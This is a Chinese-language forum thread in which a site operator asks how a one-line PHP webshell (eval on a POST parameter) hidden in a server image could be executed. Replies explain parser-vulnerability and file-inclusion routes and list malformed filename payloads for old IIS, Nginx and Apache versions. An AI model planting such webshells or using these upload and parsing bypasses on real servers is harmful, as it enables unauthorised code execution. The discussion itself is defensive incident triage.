发现服务器里的一个图片里含有一句话木马
eval($_POST[cc]);
我吧图片下载到本地,在本地环境中引用图片,
没发现什么多余的文件或者恶意代码,请大牛指导下,携带这种木马的图片会不会有风险?
他们在服务器端到底是怎么执行的?
在线等
1
tabris17 2017-12-14 15:55:20 +08:00
我记得以前可以通过 pathinfo 的漏洞来运行
|
4
fcten 2017-12-14 16:05:30 +08:00
只要让服务器把图片当作 php 脚本解析就行了,方法有很多,除了楼上提到的以外也有可能有本地文件包含漏洞
|
5
tar 2017-12-14 16:09:23 +08:00
两种情况,第一种是服务器解析成了 php 格式的才是真正的木马,就是用解析漏洞进行解析为执行代码;第二种是测试的时候,比如前端限制了只允许上传图片格式的,那么先拦截包,多发送几次,第一次可能没有改文件的后缀,就成功上传上了,后面改了后缀被拒绝就没上传成功,于是你就发现你服务器里面有个图片马(纯猜测)
|
6
sola97 2017-12-14 16:17:01 +08:00
解析成 php 拿菜刀连
|
7
zoneself OP |
8
anoymoux 2017-12-14 16:33:18 +08:00 1
直接留 eval 的后门很容易被检测到,所以把一句话放图片里,然后搭配 include 来用........
|
9
OpenJerry 2017-12-14 16:33:23 +08:00 via Android
图片马上传后利用文件包含漏洞来执行
|
10
Telegram 2017-12-14 16:35:18 +08:00 via iPhone
把图片 include 呢?方法很多的。
也有可能是黑客测试时留下的,不一定被入侵成功了。比如我测试上传漏洞,上传一个扩展名是 jpg 的文件,尝试利用漏洞截断,达到服务器把这个文件保存成 php 的文件目的,结果没成功,还是保存成了 jpg,就留下了这么一个文件。 |
11
lxy 2017-12-14 16:58:29 +08:00 1
Nginx 文件类型错误解析漏洞。前不久我参考这个 https://www.cnblogs.com/batsing/p/nginx_bug1_attack.html 做了测试,nginx/1.13.6,php-7.1.11 ,问题依然存在。想不明白为什么 Nginx 和 PHP 一直很难搭档,没有点改变。
|
12
zoneself OP @Telegram 嗯 我吧图片放在本地环境下 用 include 引用图片地址,执行了,生成了一个 php 文件,可以执行。<br/>然后我用 include 方法远程引用线上的图片,线上没生成 php 文件呢,线上没生成 php 呢,我就纳闷这个图片包含的木马是怎么执行的,如果他可以在线上上传 php 或者修改 php 文件,就没有这么麻烦了吧,直接上传或者修改成大马就行了……
|
13
WordTian 2017-12-14 17:03:48 +08:00 via Android
cat *.jpg | sh
|
15
mingzu 2017-12-14 17:05:47 +08:00
没事呀,只要这个图片不解析成 PHP 就可以了。
图片后缀会当成图片解析。 比如很早以前的 iis 6.0 漏洞就会把图片后缀的后缀截成 php 后缀, 当作 PHP 脚本运行。 |
17
hasdream 2017-12-14 17:22:23 +08:00 via Android
很早之前可以 a.com/a.jpg/n.php 或者 a.com/a.jpg%00.php
|
18
zoneself OP @hasdream 你说的是 a.com/a.jpg 空格.php 吧 这个我也试了,也失效啦
|
19
Sanko 2017-12-14 17:32:40 +08:00 via Android
a.asp/1.jpg 即*.asp 目录下的文件会被当做可执行脚本执行,好像是 iis6.0 的漏洞
|
20
Va1n3R 2017-12-14 17:44:12 +08:00
解析漏洞以及文件包含可以触发这个后门,现在稍微环境新一点都不会有解析漏洞的。
|
21
Va1n3R 2017-12-14 17:48:06 +08:00
IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpg
IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.php Nginx <8.03 空字节代码执行漏洞 1.jpg%00.php Apache 解析漏洞 .php.一个无效后缀 还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,不过恕我直言,用 Windows 当服务器就是 sb... |
22
CEBBCAT 2017-12-14 17:54:32 +08:00 via Android
楼主学艺技能不错
|
23
wooyuntest 2017-12-14 18:05:31 +08:00
因为存在解析漏洞
|
24
zoneself OP @Va1n3R @wooyuntest 解析漏洞都不存在呢
|
26
MOmc 2017-12-14 20:15:44 +08:00 via Android
场景可能这样。有人想 getshell,可能是想试试有没有上传漏洞,然后在传的时候直接怼了目前的“图片”(新手来的),然后可能没绕成功就直接把图片怼上去了………还有一种可能就是大家说的解析漏洞,他可能发现你这里有解析漏洞然后直接干(不过楼主说没有解析漏洞那应该是前者吧)………建议楼主查一下日志,看看是哪里有未授权访问到上传功能还是说有注入被打进后台又或者有弱口令等等………查日志吧大兄弟………声明一下我在某安全公司做渗透,正规工作,请某些人不要打扰我谢谢!
|
28
Soar360 2017-12-15 01:28:52 +08:00 via iPhone
A.jpg;.php 经典的 iis6 解析楼顶。
|
29
msg7086 2017-12-15 02:13:37 +08:00
要是运行成功了,楼主你还笑呵呵在论坛上和人聊天?怕不是早就在备份数据重装系统了。
|
30
zoneself OP |
33
RcoIl 2017-12-15 09:53:50 +08:00
首先,图片马是配合解析漏洞或者文件包含才能正常执行。
其次,解析漏洞存在于 apache,iis,Nginx 各个版本(指的是以前的版本)。 然后,这里的文件包含指的是本地包含。 最后,楼主本地 include 线上的图片,要执行也是在本地执行,而不是线上,所以不会对线上有影响。本地测试解析漏洞可以去修改 apache 的配置文件。 |
34
ztaosony 2017-12-15 15:36:59 +08:00
说到底所有的方法都是为了让这个图片文件解析成 php 脚本文件。
|